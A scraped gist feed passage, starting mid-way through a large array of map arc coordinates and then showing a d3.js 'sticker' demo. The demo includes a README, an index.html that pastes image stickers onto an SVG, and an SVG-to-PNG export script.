1],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/a9012e6300d13ec5249b8f5827430505">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[.gistup]]></title>
      <link>https://gist.github.com/5f2783eafe098e69e3b9</link>
      <guid isPermaLink="true">https://gist.github.com/5f2783eafe098e69e3b9</guid>
      <pubDate>Tue, 07 Jul 2015 18:02:22 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-08-29T14:24:25.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.gistup</code:filename>
        <code:language>Unknown</code:language>
        <code:size>6</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>1057</code:size>
      </code:file>
      <code:file>
        <code:filename>bg-1.jpg</code:filename>
        <code:language>Unknown</code:language>
        <code:size>342592</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>5194</code:size>
      </code:file>
      <code:file>
        <code:filename>nip.png</code:filename>
        <code:language>Unknown</code:language>
        <code:size>191421</code:size>
      </code:file>
      <code:file>
        <code:filename>nip2.png</code:filename>
        <code:language>Unknown</code:language>
        <code:size>191789</code:size>
      </code:file>
      <code:file>
        <code:filename>noun_bottle_114208.png</code:filename>
        <code:language>Unknown</code:language>
        <code:size>7691</code:size>
      </code:file>
      <code:file>
        <code:filename>saveSvgAsPng.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>5491</code:size>
      </code:file>
      <code:file>
        <code:filename>sticker.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>3134</code:size>
      </code:file>
      <code:file>
        <code:filename>style.css</code:filename>
        <code:language>CSS</code:language>
        <code:size>520</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>.gistup</h3><pre><code>gistup</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">d3.sticker
==========

An API to create &quot;stickers&quot; from DOM elements that can then be repasted and manipulated.

This example shows how you can dynamically create and remove icons using the d3.sticker API 

For more data driven examples see:  
* [http://tributary.io/inlet/5747272](http://tributary.io/inlet/5747272)  
* [http://tributary.io/inlet/5754621](http://tributary.io/inlet/5754621)  
* [http://tributary.io/inlet/5754622](http://tributary.io/inlet/5754622)  

And a video tutorial:  
[http://www.youtube.com/watch?v=fDqfoICbz7E](http://www.youtube.com/watch?v=fDqfoICbz7E)

# Icons
* heart - [http://thenounproject.com/noun/heart/#icon-No16863](http://thenounproject.com/noun/heart/#icon-No16863) Raji Purcell, from The Noun Project  
* postit - [http://thenounproject.com/noun/post-it/#icon-No18027](http://thenounproject.com/noun/post-it/#icon-No18027) Matt Brooks, from The Noun Project  
* marker - [http://thenounproject.com/noun/marker/#icon-No18026](http://thenounproject.com/noun/marker/#icon-No18026) Matt Brooks, from The Noun Project  
</code></pre>
<h3>bg-1.jpg</h3>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;head&gt;
  &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;
  &lt;script src=&quot;http://d3js.org/d3.v3.min.js&quot;&gt;&lt;/script&gt;
  &lt;script src=&quot;sticker.js&quot;&gt;&lt;/script&gt;
  &lt;script src=&quot;saveSvgAsPng.js&quot;&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;div id=&quot;toolbar&quot;&gt;
    &lt;div id=&quot;sticker1&quot; class=&quot;sticker&quot;&gt;
      &lt;svg width=80 height=80 viewbox=&quot;0 0 100 100&quot;&gt;
      &lt;g id=&quot;heart&quot; opacity=1&gt;
      &lt;image x=&quot;0&quot; y=&quot;0&quot; width=&quot;80&quot; height=&quot;80&quot; xlink:href=&quot;nip2.png&quot; /&gt;
      &lt;/g&gt;
      &lt;/svg&gt;
    &lt;/div&gt;
    &lt;div id=&quot;sticker2&quot; class=&quot;sticker&quot;&gt;
      &lt;svg width=80 height=80 viewbox=&quot;0 0 100 100&quot;&gt;
        &lt;g id=&quot;postit&quot; opacity = 0.2&gt;
          &lt;path d=&quot;M99.276,61.623C86.663,47.747,86.507,3.225,86.507,2.778C86.507,1.244,85.263,0,83.729,0H13.572  c-0.71,0-1.358,0.267-1.85,0.705c-0.002,0-0.002,0.001-0.002,0.003c-0.039,0.034-0.076,0.069-0.112,0.106L0.814,11.607  C0.293,12.128,0,12.835,0,13.571V74.28c0,0.015,0,0.029,0,0.044c0,0.002,0,0.002,0,0.002c0,0.001,0,0.001,0,0.003  c0.006,0.359,0.08,0.702,0.21,1.016c0.135,0.329,0.337,0.638,0.604,0.904c0.264,0.265,0.568,0.464,0.893,0.6  c0.33,0.139,0.691,0.215,1.071,0.215h80.555c1.534,0,2.777-1.244,2.777-2.778v-8.016h0.317h10.794c1.101,0,2.096-0.648,2.541-1.655  C100.207,63.609,100.018,62.436,99.276,61.623z M16.35,47.618c1.394,4.868,3.148,9.375,5.329,13.096H16.35V47.618z M5.556,14.722  l5.238-5.238v52.857l-5.238,5.237V14.722z M80.556,71.507H9.484l5.237-5.238h12.341h53.493V71.507z M86.428,60.713H28.344  C18.263,48.113,16.654,15.318,16.397,5.556h64.592c0.215,9.346,1.622,39.436,10.825,55.158H86.428z&quot;&gt;&lt;/path&gt;
        &lt;/g&gt;
      &lt;/svg&gt;
    &lt;/div&gt;
    &lt;div id=&quot;sticker3&quot; class=&quot;sticker&quot;&gt;
      &lt;svg width=80 height=80 viewbox=&quot;0 0 100 100&quot;&gt;
      &lt;g id=&quot;marker&quot; opacity=0.2&gt;
        &lt;path d=&quot;M99.375,96.315c0-0.485-0.112-0.942-0.314-1.35l-2.013-6.036c-0.149-0.445-0.399-0.852-0.732-1.184l-4.945-4.947  l-2.982-6.961c-0.151-0.354-0.37-0.677-0.643-0.949L69.234,56.377c0.268-1.009,0.018-2.124-0.773-2.916L18.106,3.107  C16.103,1.104,13.44,0,10.606,0s-5.497,1.104-7.5,3.107C1.103,5.11,0,7.773,0,10.606c0,2.833,1.103,5.496,3.107,7.499L53.462,68.46  c0.568,0.568,1.339,0.888,2.143,0.888c0.265,0,0.522-0.047,0.774-0.114l18.51,18.513c0.272,0.271,0.595,0.491,0.948,0.642  l6.967,2.986l2.565,2.565H10.606c-1.674,0-3.03,1.356-3.03,3.03s1.356,3.03,3.03,3.03h84.848c0.873,0,1.654-0.376,2.208-0.966  C98.674,98.543,99.375,97.516,99.375,96.315z M7.392,13.819c-0.858-0.858-1.331-1.999-1.331-3.213c0-1.214,0.473-2.355,1.332-3.214  c0.858-0.859,2-1.332,3.214-1.332c1.214,0,2.355,0.473,3.214,1.332l48.212,48.211l-6.428,6.429L7.392,13.819z M60.961,65.246  l4.285-4.286l17.802,17.802l2.176,5.078l-0.256,0.254l-1.129,1.129l-5.078-2.175L60.961,65.246z&quot;&gt;&lt;/path&gt;     
      &lt;/g&gt;
      &lt;/svg&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  
  &lt;svg id=&quot;surface&quot;&gt;
  
  &lt;image x=&quot;0&quot; y=&quot;0&quot; width=&quot;981&quot; height=&quot;693&quot; xlink:href=&quot;bg-1.jpg&quot; /&gt;

  &lt;/svg&gt;

  &lt;script&gt;
    //this is nice to have
    d3.selection.prototype.moveToFront = function() { 
      return this.each(function() { 
        this.parentNode.appendChild(this); 
      }); 
    };
  &lt;/script&gt;
  
  &lt;script&gt;
    //active sticker is kept in this variable
    var sticker;
    var bbox;

    var toolbar = d3.select(&quot;#toolbar&quot;);
    var stickers = toolbar.selectAll(&quot;.sticker&quot;);
    function stickerPicker(d,i) {
      var el = d3.select(this).select(&quot;svg g&quot;).node();
      sticker = d3.sticker(el);
      console.log(&quot;sticker!&quot;, sticker);
      console.log(&quot;el&quot;, el)
      bbox = el.getBBox();

      stickers.classed(&quot;selected&quot;, false);
      d3.select(this).classed(&quot;selected&quot;, true);
    }
    stickers.on(&quot;click&quot;, stickerPicker);
    //pick first sticker by default
    stickerPicker.call(stickers.node(), null, 0);
    
    var svg = d3.select(&quot;#surface&quot;);
    svg.on(&quot;click&quot;, function() {
      var mouse = d3.mouse(this);
      mouse[0] -= bbox.width/2 + bbox.x;
      mouse[1] -= bbox.height/2 + bbox.y;
      //place the sticker centered
      sticker(svg)
        .attr(&quot;transform&quot;, &quot;translate(&quot; + mouse + &quot;)&quot;);

      //we want our ghost to be on top all the time
      ghost.moveToFront();
    })

    function shareImage() {
      saveSvgAsPng(document.getElementById(&quot;surface&quot;), Math.floor((Math.random() * 1000) + 1)+&quot;-ClickTheNip.png&quot;);
    }

    var ghost;
    var mousedown = false;
    svg.on(&quot;mousedown&quot;, function() {
      mousedown = true;
    })
    svg.on(&quot;mouseup&quot;, function() {
      mousedown = false;
    })
    svg.on(&quot;mouseenter&quot;, function() {
      ghost = sticker(svg);
      ghost.style({
        opacity: 0.4,
        stroke: &quot;#000&quot;,
        &quot;stroke-width&quot;: 2,
        &quot;stroke-dasharray&quot;: &quot;2 2&quot;
      });
    })
    svg.on(&quot;mouseleave&quot;, function() {
      mousedown = false;
      ghost.remove();
    })
    svg.on(&quot;mousemove&quot;, function() {
      var mouse = d3.mouse(this);
      mouse[0] -= bbox.width/2 + bbox.x;
      mouse[1] -= bbox.height/2 + bbox.y;
      ghost
        .attr(&quot;transform&quot;, &quot;translate(&quot; + mouse + &quot;)&quot;);

      //continuously paste if mouse is held down
      if(mousedown) {
        sticker(svg)
          .attr(&quot;transform&quot;, &quot;translate(&quot; + mouse + &quot;)&quot;);
        ghost.moveToFront()
      }
    })
    
  &lt;/script&gt;
  &lt;br /&gt;
  &lt;button onclick=&quot;shareImage()&quot;&gt;
    Share Image
  &lt;/button&gt;
  
&lt;/body&gt;
</code></pre>
<h3>nip.png</h3>
<h3>nip2.png</h3>
<h3>noun_bottle_114208.png</h3>
<h3>saveSvgAsPng.js</h3><pre><code class="language-javascript">(function() {
  var out$ = typeof exports != &apos;undefined&apos; &amp;&amp; exports || this;

  var doctype = &apos;&lt;?xml version=&quot;1.0&quot; standalone=&quot;no&quot;?&gt;&lt;!DOCTYPE svg PUBLIC &quot;-//W3C//DTD SVG 1.1//EN&quot; &quot;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd&quot;&gt;&apos;;

  function isExternal(url) {
    return url &amp;&amp; url.lastIndexOf(&apos;http&apos;,0) == 0 &amp;&amp; url.lastIndexOf(window.location.host) == -1;
  }

  function inlineImages(el, callback) {
    var images = el.querySelectorAll(&apos;image&apos;);
    var left = images.length;
    if (left == 0) {
      callback();
    }
    for (var i = 0; i &lt; images.length; i++) {
      (function(image) {
        var href = image.getAttributeNS(&quot;http://www.w3.org/1999/xlink&quot;, &quot;href&quot;);
        if (href) {
          if (isExternal(href.value)) {
            console.warn(&quot;Cannot render embedded images linking to external hosts: &quot;+href.value);
            return;
          }
        }
        var canvas = document.createElement(&apos;canvas&apos;);
        var ctx = canvas.getContext(&apos;2d&apos;);
        var img = new Image();
        href = href || image.getAttribute(&apos;href&apos;);
        img.src = href;
        img.onload = function() {
          canvas.width = img.width;
          canvas.height = img.height;
          ctx.drawImage(img, 0, 0);
          image.setAttributeNS(&quot;http://www.w3.org/1999/xlink&quot;, &quot;href&quot;, canvas.toDataURL(&apos;image/png&apos;));
          left--;
          if (left == 0) {
            callback();
          }
        }
        img.onerror = function() {
          console.log(&quot;Could not load &quot;+href);
          left--;
          if (left == 0) {
            callback();
          }
        }
      })(images[i]);
    }
  }

  function styles(el, selectorRemap) {
    var css = &quot;&quot;;
    var sheets = document.styleSheets;
    for (var i = 0; i &lt; sheets.length; i++) {
      if (isExternal(sheets[i].href)) {
        console.warn(&quot;Cannot include styles from other hosts: &quot;+sheets[i].href);
        continue;
      }
      var rules = sheets[i].cssRules;
      if (rules != null) {
        for (var j = 0; j &lt; rules.length; j++) {
          var rule = rules[j];
          if (typeof(rule.style) != &quot;undefined&quot;) {
            var match = null;
            try {
              match = el.querySelector(rule.selectorText);
            } catch(err) {
              console.warn(&apos;Invalid CSS selector &quot;&apos; + rule.selectorText + &apos;&quot;&apos;, err);
            }
            if (match) {
              var selector = selectorRemap ? selectorRemap(rule.selectorText) : rule.selectorText;
              css += selector + &quot; { &quot; + rule.style.cssText + &quot; }\n&quot;;
            } else if(rule.cssText.match(/^@font-face/)) {
              css += rule.cssText + &apos;\n&apos;;
            }
          }
        }
      }
    }
    return css;
  }

  out$.svgAsDataUri = function(el, options, cb) {
    options = options || {};
    options.scale = options.scale || 1;
    var xmlns = &quot;http://www.w3.org/2000/xmlns/&quot;;

    inlineImages(el, function() {
      var outer = document.createElement(&quot;div&quot;);
      var clone = el.cloneNode(true);
      var width, height;
      if(el.tagName == &apos;svg&apos;) {
        var box = el.getBoundingClientRect();
        width = box.width ||
          parseInt(clone.getAttribute(&apos;width&apos;) ||
          clone.style.width ||
          out$.getComputedStyle(el).getPropertyValue(&apos;width&apos;));
        height = box.height ||
          parseInt(clone.getAttribute(&apos;height&apos;) ||
          clone.style.height ||
          out$.getComputedStyle(el).getPropertyValue(&apos;height&apos;));
      } else {
        var box = el.getBBox();
        width = box.x + box.width;
        height = box.y + box.height;
        clone.setAttribute(&apos;transform&apos;, clone.getAttribute(&apos;transform&apos;).replace(/translate\(.*?\)/, &apos;&apos;));

        var svg = document.createElementNS(&apos;http://www.w3.org/2000/svg&apos;,&apos;svg&apos;)
        svg.appendChild(clone)
        clone = svg;
      }

      clone.setAttribute(&quot;version&quot;, &quot;1.1&quot;);
      clone.setAttributeNS(xmlns, &quot;xmlns&quot;, &quot;http://www.w3.org/2000/svg&quot;);
      clone.setAttributeNS(xmlns, &quot;xmlns:xlink&quot;, &quot;http://www.w3.org/1999/xlink&quot;);
      clone.setAttribute(&quot;width&quot;, width * options.scale);
      clone.setAttribute(&quot;height&quot;, height * options.scale);
      clone.setAttribute(&quot;viewBox&quot;, &quot;0 0 &quot; + width + &quot; &quot; + height);
      outer.appendChild(clone);

      var css = styles(el, options.selectorRemap);
      var s = document.createElement(&apos;style&apos;);
      s.setAttribute(&apos;type&apos;, &apos;text/css&apos;);
      s.innerHTML = &quot;&lt;![CDATA[\n&quot; + css + &quot;\n]]&gt;&quot;;
      var defs = document.createElement(&apos;defs&apos;);
      defs.appendChild(s);
      clone.insertBefore(defs, clone.firstChild);

      var svg = doctype + outer.innerHTML;
      var uri = &apos;data:image/svg+xml;base64,&apos; + window.btoa(unescape(encodeURIComponent(svg)));
      if (cb) {
        cb(uri);
      }
    });
  }

  out$.saveSvgAsPng = function(el, name, options) {
    options = options || {};
    out$.svgAsDataUri(el, options, function(uri) {
      var image = new Image();
      image.src = uri;
      image.onload = function() {
        var canvas = document.createElement(&apos;canvas&apos;);
        canvas.width = image.width;
        canvas.height = image.height;
        var context = canvas.getContext(&apos;2d&apos;);
        context.drawImage(image, 0, 0);

        var a = document.createElement(&apos;a&apos;);
        a.download = name;
        a.href = canvas.toDataURL(&apos;image/png&apos;);
        document.body.appendChild(a);
        a.addEventListener(&quot;click&quot;, function(e) {
          a.parentNode.removeChild(a);
        });
        a.click();
      }
    });
  }
})();
</code></pre>
<h3>sticker.js</h3><pre><code class="language-javascript">(function() {
  d3.sticker = function(selector) {
    var string;
    var node;
    var svgElement; //for deserializing svg elements
    
    var sticker = function(selection) {
      return sticker.append(selection);
    }
    
    sticker.copy = function(selector) {
      node = d3.select(selector).node();
